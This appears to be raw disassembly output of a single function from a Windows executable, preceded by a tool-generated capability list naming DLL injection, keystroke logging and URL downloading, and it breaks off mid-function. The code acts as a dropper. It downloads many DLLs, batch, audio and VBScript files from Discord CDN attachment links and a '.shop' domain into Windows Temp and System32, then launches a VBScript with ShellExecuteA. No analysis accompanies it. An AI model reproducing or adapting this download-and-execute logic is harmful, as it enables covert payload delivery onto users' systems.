Function at 0x140056fb0
Capabilities:
Create process on windows
Create thread
Download url
Get system information on windows
Inject dll
Inject thread
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push r12
lea rbp, [rsp - 0x2088]
mov eax, 0x2188
call fcn.140129ab0
sub rsp, rax
lea rcx, [rbp + 0x70]
xor r12d, r12d
lea rbx, [0x140000000]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rbx + 0x16a010]
lea rax, [rbx + 0x16a010]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea r8, [rbp - 0x60]
movups xmmword [rcx], xmm0
lea rdx, [rbp + 0x70]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm1
movups xmm1, xmmword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTempRafaRGB.dll]
movups xmmword [rcx + 0xa0], xmm1
mov qword [rcx + 0xb0], rax
xor ecx, ecx
mov eax, dword [0x140169ed8]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x48], eax
movsd xmm0, qword [0x140169ed0]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1034330012733681755_1160248205527760906_OPCION_ACTIVADA_AUDIO_VOZ.wav]
lea r8, [rbp + 0x130]
movaps xmm1, xmmword [0x14016a0e0]
lea rdx, [rbp + 0x70]
mov eax, dword [0x14016a138]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016a0f0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016a110]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016a130]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016a100]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [str.C:WindowsOPCION_ACTIVADA_AUDIO_VOZ.wav]
mov dword [rbp + 0xd8], eax
movzx eax, byte [0x14016a13c]
movaps xmmword [rbp + 0xa0], xmm1
movaps xmm1, xmmword [0x14016a120]
movaps xmmword [rbp + 0xc0], xmm1
movups xmm1, xmmword [0x14016a150]
mov byte [rbp + 0xdc], al
movzx eax, byte [0x14016a168]
movups xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x158], al
movsd xmm0, qword [0x14016a160]
movsd qword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x140], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__beyondregedit.shop_gtc_sound_gtc.wav]
mov eax, dword [0x14016a198]
movups xmm1, xmmword [0x14016a180]
mov dword [rbp + 0x158], eax
movzx eax, byte [0x14016a19c]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x14016a190]
movsd qword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x140], xmm1
movups xmm0, xmmword [str.C:Windows_activar.wav]
mov byte [rbp + 0x15c], al
lea r8, [rbp - 0x60]
mov eax, dword [0x14016a1b0]
lea rdx, [rbp + 0x130]
mov dword [rbp - 0x50], eax
xor r9d, r9d
movzx eax, word [0x14016a1b4]
xor ecx, ecx
mov word [rbp - 0x4c], ax
movzx eax, byte [0x14016a1b6]
mov byte [rbp - 0x4a], al
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038724939657226_desactivar.wav]
lea r8, [rbp - 0x60]
mov eax, dword [0x14016a218]
lea rdx, [rbp + 0x70]
movaps xmm1, xmmword [0x14016a1d0]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016a1e0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016a200]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016a210]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:Windowsdesactivar.wav]
mov dword [rbp + 0xc8], eax
movzx eax, word [0x14016a21c]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp + 0xcc], ax
movsd xmm0, qword [0x14016a230]
movzx eax, word [0x14016a238]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016a1f0]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov word [rbp - 0x48], ax
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
lea r8, [rbp - 0x60]
movaps xmm1, xmmword [0x14016a250]
lea rdx, [rbp + 0x70]
movzx eax, byte [0x14016a298]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016a260]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016a280]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016a290]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0xc8], al
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x14016a2b0]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016a270]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempmilky.vbs
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movaps xmm1, xmmword [0x14016a2d0]
movaps xmmword [rbp + 0xb40], xmm0
movaps xmm0, xmmword [0x14016a2e0]
movaps xmmword [rbp + 0xb50], xmm1
movaps xmm1, xmmword [0x14016a2f0]
lea rdx, str.C:WindowsTemp_systen.dll
movzx eax, word [0x14016a318]
lea rcx, [rbp + 0x1430]
movaps xmmword [rbp + 0xb60], xmm0
movaps xmm0, xmmword [0x14016a300]
movaps xmmword [rbp + 0xb80], xmm0
movsd xmm0, qword [0x14016a310]
movsd qword [rbp + 0xb90], xmm0
movaps xmmword [rbp + 0xb70], xmm1
mov word [rbp + 0xb98], ax
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1430]
xor ecx, ecx
lea rdx, [rbp + 0xb40]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x14016a318]
lea rdx, [rbp + 0x70]
movaps xmm1, xmmword [0x14016a2d0]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016a2e0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016a300]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016a310]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_systen.dll]
mov word [rbp + 0xc8], ax
movzx eax, word [0x140169f10]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x140169f08]
movzx eax, byte [0x140169f12]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016a2f0]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x14016a318]
lea rdx, [rbp + 0x70]
movaps xmm1, xmmword [0x14016a2d0]
xor r9d, r9d
movaps xmmword [rbp + 0x70], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x14016a2e0]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [0x14016a300]
movaps xmmword [rbp + 0xb0], xmm0
movsd xmm0, qword [0x14016a310]
movsd qword [rbp + 0xc0], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0xc8], ax
movzx eax, word [0x140169f88]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x140169f80]
movzx eax, byte [0x140169f8a]
movaps xmmword [rbp + 0x80], xmm1
movaps xmm1, xmmword [0x14016a2f0]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xa0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a320]
lea rcx, [rbx + 0x16a320]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x12b0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x1540]
mov byte [rdx + 0x3e], al
lea rdx, str.C:WindowsTemp_block_internet.bat
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1540]
xor ecx, ecx
lea rdx, [rbp + 0x12b0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a410]
lea rax, [rbx + 0x16a410]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x1370]
movups xmmword [rcx], xmm0
lea rdx, str.C:WindowsTemp_resume_internet.bat
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x1650]
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1650]
xor ecx, ecx
lea rdx, [rbp + 0x1370]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a500]
lea rcx, [rbx + 0x16a500]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0xe30]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
mov eax, dword [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1760]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsSystem32_rafa.wav
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1760]
xor ecx, ecx
lea rdx, [rbp + 0xe30]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450642343886898_boxrgb.dll]
lea rdx, str.C:WindowsTemp_boxrgb.dll
movaps xmm1, xmmword [0x14016a5f0]
lea rcx, [rbp + 0xd20]
movzx eax, word [0x14016a638]
movaps xmmword [rbp + 0xba0], xmm0
movaps xmm0, xmmword [0x14016a600]
movaps xmmword [rbp + 0xbc0], xmm0
movaps xmm0, xmmword [0x14016a620]
movaps xmmword [rbp + 0xbe0], xmm0
movsd xmm0, qword [0x14016a630]
movaps xmmword [rbp + 0xbb0], xmm1
movaps xmm1, xmmword [0x14016a610]
movsd qword [rbp + 0xbf0], xmm0
movaps xmmword [rbp + 0xbd0], xmm1
mov word [rbp + 0xbf8], ax
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0xd20]
xor ecx, ecx
lea rdx, [rbp + 0xba0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a640]
lea rcx, [rbx + 0x16a640]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp + 0xfb0]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov dword [r8 + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [r8 + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rdx, str.C:WindowsTemp_boxrgb.dll
lea rcx, [rbp + 0xd20]
mov byte [r8 + 0x36], al
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1cb0]
xor ecx, ecx
lea rdx, [rbp + 0xfb0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a700]
lea rcx, [rbx + 0x16a700]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x1130]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0xd20]
mov byte [rdx + 0x38], al
lea rdx, str.C:WindowsTempChamsRed.dll
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1dc0]
xor ecx, ecx
lea rdx, [rbp + 0x1130]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a700]
lea rcx, [rbx + 0x16a700]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea r8, [rbp + 0x11f0]
movups xmmword [r8], xmm0
lea rdx, str.C:WindowsTempChamsRed.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0x1870]
mov byte [r8 + 0x38], al
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1870]
xor ecx, ecx
lea rdx, [rbp + 0x11f0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a7c0]
lea rcx, [rbx + 0x16a7c0]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xef0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1980]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsTempRas1.dll
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1980]
xor ecx, ecx
lea rdx, [rbp + 0xef0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a8a0]
lea rcx, [rbx + 0x16a8a0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1070]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x1a90]
mov byte [rdx + 0x36], al
lea rdx, str.C:WindowsTempRastss.dll
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1a90]
xor ecx, ecx
lea rdx, [rbp + 0x1070]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1192151849416011776_1200245005676204053_blanca_1.dll]
lea rdx, str.C:WindowsTemp_blanca_1.dll
movaps xmm1, xmmword [0x14016a970]
lea rcx, [rbp + 0x1ba0]
mov eax, dword [0x14016a9b8]
movaps xmmword [rbp + 0xc00], xmm0
movaps xmm0, xmmword [0x14016a980]
movaps xmmword [rbp + 0xc20], xmm0
movaps xmm0, xmmword [0x14016a9a0]
movaps xmmword [rbp + 0xc40], xmm0
movsd xmm0, qword [0x14016a9b0]
movaps xmmword [rbp + 0xc10], xmm1
movaps xmm1, xmmword [0x14016a990]
movsd qword [rbp + 0xc50], xmm0
movaps xmmword [rbp + 0xc30], xmm1
mov dword [rbp + 0xc58], eax
call fcn.14005e430
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1ba0]
xor ecx, ecx
lea rdx, [rbp + 0xc00]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a640]
lea rcx, [rbx + 0x16a640]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x70]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x60]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x70]
movzx eax, word [0x140169e80]
mov word [rbp - 0x48], ax
movzx eax, byte [0x140169e82]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x140169e78]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a640]
lea rcx, [rbx + 0x16a640]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x70]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
lea rdx, [rdx + 0x80]
xor r9d, r9d
movups xmm0, xmmword [rcx + 0x40]
lea rcx, [rcx + 0x80]
mov qword [rsp + 0x20], r12
mov eax, dword [rcx + 0x30]
lea r8, [rbp - 0x60]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0x70]
movzx eax, word [0x140169e80]
mov word [rbp - 0x48], ax
movzx eax, byte [0x140169e82]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x140169e78]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a700]
lea rcx, [rbx + 0x16a700]
xor r9d, r9d
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x70]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0x70]
mov eax, dword [0x140169fa8]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x140169fac]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x44], al
movsd xmm0, qword [0x140169fa0]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x16a7c0]
lea rcx, [rbx + 0x16a7c0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x70]
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
